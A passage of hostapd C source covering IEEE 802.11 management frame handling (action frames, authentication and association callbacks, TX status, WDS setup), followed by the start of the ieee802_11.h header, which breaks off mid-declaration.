Action " "frame (len=%lu)", (unsigned long) len); return 0; } ieee802_11_sa_query_action(hapd, mgmt->sa, mgmt->u.action.u.sa_query_resp.action, mgmt->u.action.u.sa_query_resp.trans_id); return 1; } static int robust_action_frame(u8 category) { return category != WLAN_ACTION_PUBLIC && category != WLAN_ACTION_HT; } #endif /* CONFIG_IEEE80211W */ static int handle_action(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len, unsigned int freq) { struct sta_info *sta; sta = ap_get_sta(hapd, mgmt->sa); if (len < IEEE80211_HDRLEN + 1) { hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "handle_action - too short payload (len=%lu)", (unsigned long) len); return 0; } if (mgmt->u.action.category != WLAN_ACTION_PUBLIC && (sta == NULL || !(sta->flags & WLAN_STA_ASSOC))) { wpa_printf(MSG_DEBUG, "IEEE 802.11: Ignored Action " "frame (category=%u) from unassociated STA " MACSTR, mgmt->u.action.category, MAC2STR(mgmt->sa)); return 0; } #ifdef CONFIG_IEEE80211W if (sta && (sta->flags & WLAN_STA_MFP) && !(mgmt->frame_control & host_to_le16(WLAN_FC_ISWEP)) && robust_action_frame(mgmt->u.action.category)) { hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "Dropped unprotected Robust Action frame from " "an MFP STA"); return 0; } #endif /* CONFIG_IEEE80211W */ if (sta) { u16 fc = le_to_host16(mgmt->frame_control); u16 seq_ctrl = le_to_host16(mgmt->seq_ctrl); if ((fc & WLAN_FC_RETRY) && sta->last_seq_ctrl != WLAN_INVALID_MGMT_SEQ && sta->last_seq_ctrl == seq_ctrl && sta->last_subtype == WLAN_FC_STYPE_ACTION) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "Drop repeated action frame seq_ctrl=0x%x", seq_ctrl); return 1; } sta->last_seq_ctrl = seq_ctrl; sta->last_subtype = WLAN_FC_STYPE_ACTION; } switch (mgmt->u.action.category) { #ifdef CONFIG_IEEE80211R_AP case WLAN_ACTION_FT: if (!sta || wpa_ft_action_rx(sta->wpa_sm, (u8 *) &mgmt->u.action, len - IEEE80211_HDRLEN)) break; return 1; #endif /* CONFIG_IEEE80211R_AP */ case WLAN_ACTION_WMM: hostapd_wmm_action(hapd, mgmt, len); return 1; #ifdef CONFIG_IEEE80211W case WLAN_ACTION_SA_QUERY: return hostapd_sa_query_action(hapd, mgmt, len); #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_WNM_AP case WLAN_ACTION_WNM: ieee802_11_rx_wnm_action_ap(hapd, mgmt, len); return 1; #endif /* CONFIG_WNM_AP */ #ifdef CONFIG_FST case WLAN_ACTION_FST: if (hapd->iface->fst) fst_rx_action(hapd->iface->fst, mgmt, len); else wpa_printf(MSG_DEBUG, "FST: Ignore FST Action frame - no FST attached"); return 1; #endif /* CONFIG_FST */ case WLAN_ACTION_PUBLIC: case WLAN_ACTION_PROTECTED_DUAL: #ifdef CONFIG_IEEE80211N if (len >= IEEE80211_HDRLEN + 2 && mgmt->u.action.u.public_action.action == WLAN_PA_20_40_BSS_COEX) { hostapd_2040_coex_action(hapd, mgmt, len); return 1; } #endif /* CONFIG_IEEE80211N */ #ifdef CONFIG_DPP if (len >= IEEE80211_HDRLEN + 6 && mgmt->u.action.u.vs_public_action.action == WLAN_PA_VENDOR_SPECIFIC && WPA_GET_BE24(mgmt->u.action.u.vs_public_action.oui) == OUI_WFA && mgmt->u.action.u.vs_public_action.variable[0] == DPP_OUI_TYPE) { const u8 *pos, *end; pos = mgmt->u.action.u.vs_public_action.oui; end = ((const u8 *) mgmt) + len; hostapd_dpp_rx_action(hapd, mgmt->sa, pos, end - pos, freq); return 1; } if (len >= IEEE80211_HDRLEN + 2 && (mgmt->u.action.u.public_action.action == WLAN_PA_GAS_INITIAL_RESP || mgmt->u.action.u.public_action.action == WLAN_PA_GAS_COMEBACK_RESP)) { const u8 *pos, *end; pos = &mgmt->u.action.u.public_action.action; end = ((const u8 *) mgmt) + len; gas_query_ap_rx(hapd->gas, mgmt->sa, mgmt->u.action.category, pos, end - pos, hapd->iface->freq); return 1; } #endif /* CONFIG_DPP */ if (hapd->public_action_cb) { hapd->public_action_cb(hapd->public_action_cb_ctx, (u8 *) mgmt, len, hapd->iface->freq); } if (hapd->public_action_cb2) { hapd->public_action_cb2(hapd->public_action_cb2_ctx, (u8 *) mgmt, len, hapd->iface->freq); } if (hapd->public_action_cb || hapd->public_action_cb2) return 1; break; case WLAN_ACTION_VENDOR_SPECIFIC: if (hapd->vendor_action_cb) { if (hapd->vendor_action_cb(hapd->vendor_action_cb_ctx, (u8 *) mgmt, len, hapd->iface->freq) == 0) return 1; } break; case WLAN_ACTION_RADIO_MEASUREMENT: hostapd_handle_radio_measurement(hapd, (const u8 *) mgmt, len); return 1; } hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "handle_action - unknown action category %d or invalid " "frame", mgmt->u.action.category); if (!is_multicast_ether_addr(mgmt->da) && !(mgmt->u.action.category & 0x80) && !is_multicast_ether_addr(mgmt->sa)) { struct ieee80211_mgmt *resp; /* * IEEE 802.11-REVma/D9.0 - 7.3.1.11 * Return the Action frame to the source without change * except that MSB of the Category set to 1. */ wpa_printf(MSG_DEBUG, "IEEE 802.11: Return unknown Action " "frame back to sender"); resp = os_memdup(mgmt, len); if (resp == NULL) return 0; os_memcpy(resp->da, resp->sa, ETH_ALEN); os_memcpy(resp->sa, hapd->own_addr, ETH_ALEN); os_memcpy(resp->bssid, hapd->own_addr, ETH_ALEN); resp->u.action.category |= 0x80; if (hostapd_drv_send_mlme(hapd, resp, len, 0) < 0) { wpa_printf(MSG_ERROR, "IEEE 802.11: Failed to send " "Action frame"); } os_free(resp); } return 1; } /** * ieee802_11_mgmt - process incoming IEEE 802.11 management frames * @hapd: hostapd BSS data structure (the BSS to which the management frame was * sent to) * @buf: management frame data (starting from IEEE 802.11 header) * @len: length of frame data in octets * @fi: meta data about received frame (signal level, etc.) * * Process all incoming IEEE 802.11 management frames. This will be called for * each frame received from the kernel driver through wlan#ap interface. In * addition, it can be called to re-inserted pending frames (e.g., when using * external RADIUS server as an MAC ACL). */ int ieee802_11_mgmt(struct hostapd_data *hapd, const u8 *buf, size_t len, struct hostapd_frame_info *fi) { struct ieee80211_mgmt *mgmt; u16 fc, stype; int ret = 0; unsigned int freq; int ssi_signal = fi ? fi->ssi_signal : 0; if (len < 24) return 0; if (fi && fi->freq) freq = fi->freq; else freq = hapd->iface->freq; mgmt = (struct ieee80211_mgmt *) buf; fc = le_to_host16(mgmt->frame_control); stype = WLAN_FC_GET_STYPE(fc); if (stype == WLAN_FC_STYPE_BEACON) { handle_beacon(hapd, mgmt, len, fi); return 1; } if (!is_broadcast_ether_addr(mgmt->bssid) && #ifdef CONFIG_P2P /* Invitation responses can be sent with the peer MAC as BSSID */ !((hapd->conf->p2p & P2P_GROUP_OWNER) && stype == WLAN_FC_STYPE_ACTION) && #endif /* CONFIG_P2P */ #ifdef CONFIG_MESH !(hapd->conf->mesh & MESH_ENABLED) && #endif /* CONFIG_MESH */ os_memcmp(mgmt->bssid, hapd->own_addr, ETH_ALEN) != 0) { wpa_printf(MSG_INFO, "MGMT: BSSID=" MACSTR " not our address", MAC2STR(mgmt->bssid)); return 0; } if (stype == WLAN_FC_STYPE_PROBE_REQ) { handle_probe_req(hapd, mgmt, len, ssi_signal); return 1; } if ((!is_broadcast_ether_addr(mgmt->da) || stype != WLAN_FC_STYPE_ACTION) && os_memcmp(mgmt->da, hapd->own_addr, ETH_ALEN) != 0) { hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "MGMT: DA=" MACSTR " not our address", MAC2STR(mgmt->da)); return 0; } if (hapd->iconf->track_sta_max_num) sta_track_add(hapd->iface, mgmt->sa, ssi_signal); switch (stype) { case WLAN_FC_STYPE_AUTH: wpa_printf(MSG_DEBUG, "mgmt::auth"); handle_auth(hapd, mgmt, len); ret = 1; break; case WLAN_FC_STYPE_ASSOC_REQ: wpa_printf(MSG_DEBUG, "mgmt::assoc_req"); handle_assoc(hapd, mgmt, len, 0); ret = 1; break; case WLAN_FC_STYPE_REASSOC_REQ: wpa_printf(MSG_DEBUG, "mgmt::reassoc_req"); handle_assoc(hapd, mgmt, len, 1); ret = 1; break; case WLAN_FC_STYPE_DISASSOC: wpa_printf(MSG_DEBUG, "mgmt::disassoc"); handle_disassoc(hapd, mgmt, len); ret = 1; break; case WLAN_FC_STYPE_DEAUTH: wpa_msg(hapd->msg_ctx, MSG_DEBUG, "mgmt::deauth"); handle_deauth(hapd, mgmt, len); ret = 1; break; case WLAN_FC_STYPE_ACTION: wpa_printf(MSG_DEBUG, "mgmt::action"); ret = handle_action(hapd, mgmt, len, freq); break; default: hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "unknown mgmt frame subtype %d", stype); break; } return ret; } static void handle_auth_cb(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len, int ok) { u16 auth_alg, auth_transaction, status_code; struct sta_info *sta; sta = ap_get_sta(hapd, mgmt->da); if (!sta) { wpa_printf(MSG_INFO, "handle_auth_cb: STA " MACSTR " not found", MAC2STR(mgmt->da)); return; } auth_alg = le_to_host16(mgmt->u.auth.auth_alg); auth_transaction = le_to_host16(mgmt->u.auth.auth_transaction); status_code = le_to_host16(mgmt->u.auth.status_code); if (!ok) { hostapd_logger(hapd, mgmt->da, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_NOTICE, "did not acknowledge authentication response"); goto fail; } if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.auth)) { wpa_printf(MSG_INFO, "handle_auth_cb - too short payload (len=%lu)", (unsigned long) len); goto fail; } if (status_code == WLAN_STATUS_SUCCESS && ((auth_alg == WLAN_AUTH_OPEN && auth_transaction == 2) || (auth_alg == WLAN_AUTH_SHARED_KEY && auth_transaction == 4))) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "authenticated"); sta->flags |= WLAN_STA_AUTH; if (sta->added_unassoc) hostapd_set_sta_flags(hapd, sta); return; } fail: if (status_code != WLAN_STATUS_SUCCESS && sta->added_unassoc) { hostapd_drv_sta_remove(hapd, sta->addr); sta->added_unassoc = 0; } } static void hostapd_set_wds_encryption(struct hostapd_data *hapd, struct sta_info *sta, char *ifname_wds) { int i; struct hostapd_ssid *ssid = &hapd->conf->ssid; if (hapd->conf->ieee802_1x || hapd->conf->wpa) return; for (i = 0; i < 4; i++) { if (ssid->wep.key[i] && hostapd_drv_set_key(ifname_wds, hapd, WPA_ALG_WEP, NULL, i, i == ssid->wep.idx, NULL, 0, ssid->wep.key[i], ssid->wep.len[i])) { wpa_printf(MSG_WARNING, "Could not set WEP keys for WDS interface; %s", ifname_wds); break; } } } static void handle_assoc_cb(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len, int reassoc, int ok) { u16 status; struct sta_info *sta; int new_assoc = 1; sta = ap_get_sta(hapd, mgmt->da); if (!sta) { wpa_printf(MSG_INFO, "handle_assoc_cb: STA " MACSTR " not found", MAC2STR(mgmt->da)); return; } if (len < IEEE80211_HDRLEN + (reassoc ? sizeof(mgmt->u.reassoc_resp) : sizeof(mgmt->u.assoc_resp))) { wpa_printf(MSG_INFO, "handle_assoc_cb(reassoc=%d) - too short payload (len=%lu)", reassoc, (unsigned long) len); hostapd_drv_sta_remove(hapd, sta->addr); return; } if (reassoc) status = le_to_host16(mgmt->u.reassoc_resp.status_code); else status = le_to_host16(mgmt->u.assoc_resp.status_code); if (!ok) { hostapd_logger(hapd, mgmt->da, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "did not acknowledge association response"); sta->flags &= ~WLAN_STA_ASSOC_REQ_OK; /* The STA is added only in case of SUCCESS */ if (status == WLAN_STATUS_SUCCESS) hostapd_drv_sta_remove(hapd, sta->addr); return; } if (status != WLAN_STATUS_SUCCESS) return; /* Stop previous accounting session, if one is started, and allocate * new session id for the new session. */ accounting_sta_stop(hapd, sta); hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "associated (aid %d)", sta->aid); if (sta->flags & WLAN_STA_ASSOC) new_assoc = 0; sta->flags |= WLAN_STA_ASSOC; sta->flags &= ~WLAN_STA_WNM_SLEEP_MODE; if ((!hapd->conf->ieee802_1x && !hapd->conf->wpa && !hapd->conf->osen) || sta->auth_alg == WLAN_AUTH_FILS_SK || sta->auth_alg == WLAN_AUTH_FILS_SK_PFS || sta->auth_alg == WLAN_AUTH_FILS_PK || sta->auth_alg == WLAN_AUTH_FT) { /* * Open, static WEP, FT protocol, or FILS; no separate * authorization step. */ ap_sta_set_authorized(hapd, sta, 1); } if (reassoc) mlme_reassociate_indication(hapd, sta); else mlme_associate_indication(hapd, sta); #ifdef CONFIG_IEEE80211W sta->sa_query_timed_out = 0; #endif /* CONFIG_IEEE80211W */ if (sta->eapol_sm == NULL) { /* * This STA does not use RADIUS server for EAP authentication, * so bind it to the selected VLAN interface now, since the * interface selection is not going to change anymore. */ if (ap_sta_bind_vlan(hapd, sta) < 0) return; } else if (sta->vlan_id) { /* VLAN ID already set (e.g., by PMKSA caching), so bind STA */ if (ap_sta_bind_vlan(hapd, sta) < 0) return; } hostapd_set_sta_flags(hapd, sta); if (!(sta->flags & WLAN_STA_WDS) && sta->pending_wds_enable) { wpa_printf(MSG_DEBUG, "Enable 4-address WDS mode for STA " MACSTR " based on pending request", MAC2STR(sta->addr)); sta->pending_wds_enable = 0; sta->flags |= WLAN_STA_WDS; } if (sta->flags & WLAN_STA_WDS) { int ret; char ifname_wds[IFNAMSIZ + 1]; wpa_printf(MSG_DEBUG, "Reenable 4-address WDS mode for STA " MACSTR " (aid %u)", MAC2STR(sta->addr), sta->aid); ret = hostapd_set_wds_sta(hapd, ifname_wds, sta->addr, sta->aid, 1); if (!ret) hostapd_set_wds_encryption(hapd, sta, ifname_wds); } if (sta->auth_alg == WLAN_AUTH_FT) wpa_auth_sm_event(sta->wpa_sm, WPA_ASSOC_FT); else wpa_auth_sm_event(sta->wpa_sm, WPA_ASSOC); hapd->new_assoc_sta_cb(hapd, sta, !new_assoc); ieee802_1x_notify_port_enabled(sta->eapol_sm, 1); #ifdef CONFIG_FILS if ((sta->auth_alg == WLAN_AUTH_FILS_SK || sta->auth_alg == WLAN_AUTH_FILS_SK_PFS || sta->auth_alg == WLAN_AUTH_FILS_PK) && fils_set_tk(sta->wpa_sm) < 0) { wpa_printf(MSG_DEBUG, "FILS: TK configuration failed"); ap_sta_disconnect(hapd, sta, sta->addr, WLAN_REASON_UNSPECIFIED); return; } #endif /* CONFIG_FILS */ if (sta->pending_eapol_rx) { struct os_reltime now, age; os_get_reltime(&now); os_reltime_sub(&now, &sta->pending_eapol_rx->rx_time, &age); if (age.sec == 0 && age.usec < 200000) { wpa_printf(MSG_DEBUG, "Process pending EAPOL frame that was received from " MACSTR " just before association notification", MAC2STR(sta->addr)); ieee802_1x_receive( hapd, mgmt->da, wpabuf_head(sta->pending_eapol_rx->buf), wpabuf_len(sta->pending_eapol_rx->buf)); } wpabuf_free(sta->pending_eapol_rx->buf); os_free(sta->pending_eapol_rx); sta->pending_eapol_rx = NULL; } } static void handle_deauth_cb(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len, int ok) { struct sta_info *sta; if (is_multicast_ether_addr(mgmt->da)) return; sta = ap_get_sta(hapd, mgmt->da); if (!sta) { wpa_printf(MSG_DEBUG, "handle_deauth_cb: STA " MACSTR " not found", MAC2STR(mgmt->da)); return; } if (ok) wpa_printf(MSG_DEBUG, "STA " MACSTR " acknowledged deauth", MAC2STR(sta->addr)); else wpa_printf(MSG_DEBUG, "STA " MACSTR " did not acknowledge " "deauth", MAC2STR(sta->addr)); ap_sta_deauth_cb(hapd, sta); } static void handle_disassoc_cb(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len, int ok) { struct sta_info *sta; if (is_multicast_ether_addr(mgmt->da)) return; sta = ap_get_sta(hapd, mgmt->da); if (!sta) { wpa_printf(MSG_DEBUG, "handle_disassoc_cb: STA " MACSTR " not found", MAC2STR(mgmt->da)); return; } if (ok) wpa_printf(MSG_DEBUG, "STA " MACSTR " acknowledged disassoc", MAC2STR(sta->addr)); else wpa_printf(MSG_DEBUG, "STA " MACSTR " did not acknowledge " "disassoc", MAC2STR(sta->addr)); ap_sta_disassoc_cb(hapd, sta); } static void handle_action_cb(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len, int ok) { struct sta_info *sta; const struct rrm_measurement_report_element *report; if (is_multicast_ether_addr(mgmt->da)) return; #ifdef CONFIG_DPP if (len >= IEEE80211_HDRLEN + 6 && mgmt->u.action.category == WLAN_ACTION_PUBLIC && mgmt->u.action.u.vs_public_action.action == WLAN_PA_VENDOR_SPECIFIC && WPA_GET_BE24(mgmt->u.action.u.vs_public_action.oui) == OUI_WFA && mgmt->u.action.u.vs_public_action.variable[0] == DPP_OUI_TYPE) { const u8 *pos, *end; pos = &mgmt->u.action.u.vs_public_action.variable[1]; end = ((const u8 *) mgmt) + len; hostapd_dpp_tx_status(hapd, mgmt->da, pos, end - pos, ok); return; } if (len >= IEEE80211_HDRLEN + 2 && mgmt->u.action.category == WLAN_ACTION_PUBLIC && (mgmt->u.action.u.public_action.action == WLAN_PA_GAS_INITIAL_REQ || mgmt->u.action.u.public_action.action == WLAN_PA_GAS_COMEBACK_REQ)) { const u8 *pos, *end; pos = mgmt->u.action.u.public_action.variable; end = ((const u8 *) mgmt) + len; gas_query_ap_tx_status(hapd->gas, mgmt->da, pos, end - pos, ok); return; } #endif /* CONFIG_DPP */ sta = ap_get_sta(hapd, mgmt->da); if (!sta) { wpa_printf(MSG_DEBUG, "handle_action_cb: STA " MACSTR " not found", MAC2STR(mgmt->da)); return; } if (len < 24 + 5 + sizeof(*report)) return; report = (const struct rrm_measurement_report_element *) &mgmt->u.action.u.rrm.variable[2]; if (mgmt->u.action.category == WLAN_ACTION_RADIO_MEASUREMENT && mgmt->u.action.u.rrm.action == WLAN_RRM_RADIO_MEASUREMENT_REQUEST && report->eid == WLAN_EID_MEASURE_REQUEST && report->len >= 3 && report->type == MEASURE_TYPE_BEACON) hostapd_rrm_beacon_req_tx_status(hapd, mgmt, len, ok); } /** * ieee802_11_mgmt_cb - Process management frame TX status callback * @hapd: hostapd BSS data structure (the BSS from which the management frame * was sent from) * @buf: management frame data (starting from IEEE 802.11 header) * @len: length of frame data in octets * @stype: management frame subtype from frame control field * @ok: Whether the frame was ACK'ed */ void ieee802_11_mgmt_cb(struct hostapd_data *hapd, const u8 *buf, size_t len, u16 stype, int ok) { const struct ieee80211_mgmt *mgmt; mgmt = (const struct ieee80211_mgmt *) buf; #ifdef CONFIG_TESTING_OPTIONS if (hapd->ext_mgmt_frame_handling) { size_t hex_len = 2 * len + 1; char *hex = os_malloc(hex_len); if (hex) { wpa_snprintf_hex(hex, hex_len, buf, len); wpa_msg(hapd->msg_ctx, MSG_INFO, "MGMT-TX-STATUS stype=%u ok=%d buf=%s", stype, ok, hex); os_free(hex); } return; } #endif /* CONFIG_TESTING_OPTIONS */ switch (stype) { case WLAN_FC_STYPE_AUTH: wpa_printf(MSG_DEBUG, "mgmt::auth cb"); handle_auth_cb(hapd, mgmt, len, ok); break; case WLAN_FC_STYPE_ASSOC_RESP: wpa_printf(MSG_DEBUG, "mgmt::assoc_resp cb"); handle_assoc_cb(hapd, mgmt, len, 0, ok); break; case WLAN_FC_STYPE_REASSOC_RESP: wpa_printf(MSG_DEBUG, "mgmt::reassoc_resp cb"); handle_assoc_cb(hapd, mgmt, len, 1, ok); break; case WLAN_FC_STYPE_PROBE_RESP: wpa_printf(MSG_EXCESSIVE, "mgmt::proberesp cb ok=%d", ok); break; case WLAN_FC_STYPE_DEAUTH: wpa_printf(MSG_DEBUG, "mgmt::deauth cb"); handle_deauth_cb(hapd, mgmt, len, ok); break; case WLAN_FC_STYPE_DISASSOC: wpa_printf(MSG_DEBUG, "mgmt::disassoc cb"); handle_disassoc_cb(hapd, mgmt, len, ok); break; case WLAN_FC_STYPE_ACTION: wpa_printf(MSG_DEBUG, "mgmt::action cb ok=%d", ok); handle_action_cb(hapd, mgmt, len, ok); break; default: wpa_printf(MSG_INFO, "unknown mgmt cb frame subtype %d", stype); break; } } int ieee802_11_get_mib(struct hostapd_data *hapd, char *buf, size_t buflen) { /* TODO */ return 0; } int ieee802_11_get_mib_sta(struct hostapd_data *hapd, struct sta_info *sta, char *buf, size_t buflen) { /* TODO */ return 0; } void hostapd_tx_status(struct hostapd_data *hapd, const u8 *addr, const u8 *buf, size_t len, int ack) { struct sta_info *sta; struct hostapd_iface *iface = hapd->iface; sta = ap_get_sta(hapd, addr); if (sta == NULL && iface->num_bss > 1) { size_t j; for (j = 0; j < iface->num_bss; j++) { hapd = iface->bss[j]; sta = ap_get_sta(hapd, addr); if (sta) break; } } if (sta == NULL || !(sta->flags & WLAN_STA_ASSOC)) return; if (sta->flags & WLAN_STA_PENDING_POLL) { wpa_printf(MSG_DEBUG, "STA " MACSTR " %s pending " "activity poll", MAC2STR(sta->addr), ack ? "ACKed" : "did not ACK"); if (ack) sta->flags &= ~WLAN_STA_PENDING_POLL; } ieee802_1x_tx_status(hapd, sta, buf, len, ack); } void hostapd_eapol_tx_status(struct hostapd_data *hapd, const u8 *dst, const u8 *data, size_t len, int ack) { struct sta_info *sta; struct hostapd_iface *iface = hapd->iface; sta = ap_get_sta(hapd, dst); if (sta == NULL && iface->num_bss > 1) { size_t j; for (j = 0; j < iface->num_bss; j++) { hapd = iface->bss[j]; sta = ap_get_sta(hapd, dst); if (sta) break; } } if (sta == NULL || !(sta->flags & WLAN_STA_ASSOC)) { wpa_printf(MSG_DEBUG, "Ignore TX status for Data frame to STA " MACSTR " that is not currently associated", MAC2STR(dst)); return; } ieee802_1x_eapol_tx_status(hapd, sta, data, len, ack); } void hostapd_client_poll_ok(struct hostapd_data *hapd, const u8 *addr) { struct sta_info *sta; struct hostapd_iface *iface = hapd->iface; sta = ap_get_sta(hapd, addr); if (sta == NULL && iface->num_bss > 1) { size_t j; for (j = 0; j < iface->num_bss; j++) { hapd = iface->bss[j]; sta = ap_get_sta(hapd, addr); if (sta) break; } } if (sta == NULL) return; wpa_msg(hapd->msg_ctx, MSG_INFO, AP_STA_POLL_OK MACSTR, MAC2STR(sta->addr)); if (!(sta->flags & WLAN_STA_PENDING_POLL)) return; wpa_printf(MSG_DEBUG, "STA " MACSTR " ACKed pending " "activity poll", MAC2STR(sta->addr)); sta->flags &= ~WLAN_STA_PENDING_POLL; } void ieee802_11_rx_from_unknown(struct hostapd_data *hapd, const u8 *src, int wds) { struct sta_info *sta; sta = ap_get_sta(hapd, src); if (sta && ((sta->flags & WLAN_STA_ASSOC) || ((sta->flags & WLAN_STA_ASSOC_REQ_OK) && wds))) { if (!hapd->conf->wds_sta) return; if ((sta->flags & (WLAN_STA_ASSOC | WLAN_STA_ASSOC_REQ_OK)) == WLAN_STA_ASSOC_REQ_OK) { wpa_printf(MSG_DEBUG, "Postpone 4-address WDS mode enabling for STA " MACSTR " since TX status for AssocResp is not yet known", MAC2STR(sta->addr)); sta->pending_wds_enable = 1; return; } if (wds && !(sta->flags & WLAN_STA_WDS)) { int ret; char ifname_wds[IFNAMSIZ + 1]; wpa_printf(MSG_DEBUG, "Enable 4-address WDS mode for " "STA " MACSTR " (aid %u)", MAC2STR(sta->addr), sta->aid); sta->flags |= WLAN_STA_WDS; ret = hostapd_set_wds_sta(hapd, ifname_wds, sta->addr, sta->aid, 1); if (!ret) hostapd_set_wds_encryption(hapd, sta, ifname_wds); } return; } wpa_printf(MSG_DEBUG, "Data/PS-poll frame from not associated STA " MACSTR, MAC2STR(src)); if (is_multicast_ether_addr(src)) { /* Broadcast bit set in SA?! Ignore the frame silently. */ return; } if (sta && (sta->flags & WLAN_STA_ASSOC_REQ_OK)) { wpa_printf(MSG_DEBUG, "Association Response to the STA has " "already been sent, but no TX status yet known - " "ignore Class 3 frame issue with " MACSTR, MAC2STR(src)); return; } if (sta && (sta->flags & WLAN_STA_AUTH)) hostapd_drv_sta_disassoc( hapd, src, WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA); else hostapd_drv_sta_deauth( hapd, src, WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA); } #endif /* CONFIG_NATIVE_WINDOWS */ wpa_sycophant-master/src/ap/ieee802_11.h000066400000000000000000000154021377436615100202470ustar00rootroot00000000000000/* * hostapd / IEEE 802.11 Management * Copyright (c) 2002-2009, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef IEEE802_11_H #define IEEE802_11_H struct hostapd_iface; struct hostapd_data; struct sta_info; struct hostapd_frame_info; struct ieee80211_ht_capabilities; struct ieee80211_vht_capabilities; struct ieee80211_mgmt; struct vlan_description; struct hostapd_sta_wpa_psk_short; int ieee802_11_mgmt(struct hostapd_data *hapd, const u8 *buf, size_t len, struct hostapd_frame_info *fi); void ieee802_11_mgmt_cb(struct hostapd_data *hapd, const u8 *buf, size_t len, u16 stype, int ok); void hostapd_2040_coex_action(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len); #ifdef NEED_AP_MLME int ieee802_11_get_mib(struct hostapd_data *hapd, char *buf, size_t buflen); int ieee802_11_get_mib_sta(struct hostapd_data *hapd, struct sta_info *sta, char *buf, size_t buflen); #else /* NEED_AP_MLME */ static inline int ieee802_11_get_mib(struct hostapd_data *hapd, char *buf, size_t buflen) { return 0; } static inline int ieee802_11_get_mib_sta(struct hostapd_data *hapd, struct sta_info *sta, char *buf, size_t buflen) { return 0; } #endif /* NEED_AP_MLME */ u16 hostapd_own_capab_info(struct hostapd_data *hapd); void ap_ht2040_timeout(void *eloop_data, void *user_data); u8 * hostapd_eid_ext_capab(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_qos_map_set(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_supp_rates(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_ext_supp_rates(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_ht_capabilities(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_ht_operation(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_secondary_channel(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_vht_capabilities(struct hostapd_data *hapd, u8 *eid, u32 nsts); u8 * hostapd_eid_vht_operation(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_vendor_vht(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_wb_chsw_wrapper(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_txpower_envelope(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_he_capab(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_he_operation(struct hostapd_data *hapd, u8 *eid); int hostapd_ht_operation_update(struct hostapd_iface *iface); void ieee802_11_send_sa_query_req(struct hostapd_data *hapd, const u8 *addr, const u8 *trans_id); void hostapd_get_ht_capab(struct hostapd_data *hapd, struct ieee80211_ht_capabilities *ht_cap, struct ieee80211_ht_capabilities *neg_ht_cap); void hostapd_get_vht_capab(struct hostapd_data *hapd, struct ieee80211_vht_capabilities *vht_cap, struct ieee80211_vht_capabilities *neg_vht_cap); int hostapd_get_aid(struct hostapd_data *hapd, struct sta_info *sta); u16 copy_sta_ht_capab(struct hostapd_data *hapd, struct sta_info *sta, const u8 *ht_capab); u16 copy_sta_vendor_vht(struct hostapd_data *hapd, struct sta_info *sta, const u8 *ie, size_t len); void update_ht_state(struct hostapd_data *hapd, struct sta_info *sta); void ht40_intolerant_add(struct hostapd_iface *iface, struct sta_info *sta); void ht40_intolerant_remove(struct hostapd_iface *iface, struct sta_info *sta); u16 copy_sta_vht_capab(struct hostapd_data *hapd, struct sta_info *sta, const u8 *vht_capab); u16 set_sta_vht_opmode(struct hostapd_data *hapd, struct sta_info *sta, const u8 *vht_opmode); void hostapd_tx_status(struct hostapd_data *hapd, const u8 *addr, const u8 *buf, size_t len, int ack); void hostapd_eapol_tx_status(struct hostapd_data *hapd, const u8 *dst, const u8 *data, size_t len, int ack); void ieee802_11_rx_from_unknown(struct hostapd_data *hapd, const u8 *src, int wds); u8 * hostapd_eid_assoc_comeback_time(struct hostapd_data *hapd, struct sta_info *sta, u8 *eid); void ieee802_11_sa_query_action(struct hostapd_data *hapd, const u8 *sa, const u8 action_type, const u8 *trans_id); u8 * hostapd_eid_interworking(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_adv_proto(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_roaming_consortium(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_time_adv(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_time_zone(struct hostapd_data *hapd, u8 *eid); int hostapd_update_time_adv(struct hostapd_data *hapd); void hostapd_client_poll_ok(struct hostapd_data *hapd, const u8 *addr); u8 * hostapd_eid_bss_max_idle_period(struct hostapd_data *hapd, u8 *eid); int auth_sae_init_committed(struct hostapd_data *hapd, struct sta_info *sta); #ifdef CONFIG_SAE void sae_clear_retransmit_timer(struct hostapd_data *hapd, struct sta_info *sta); void 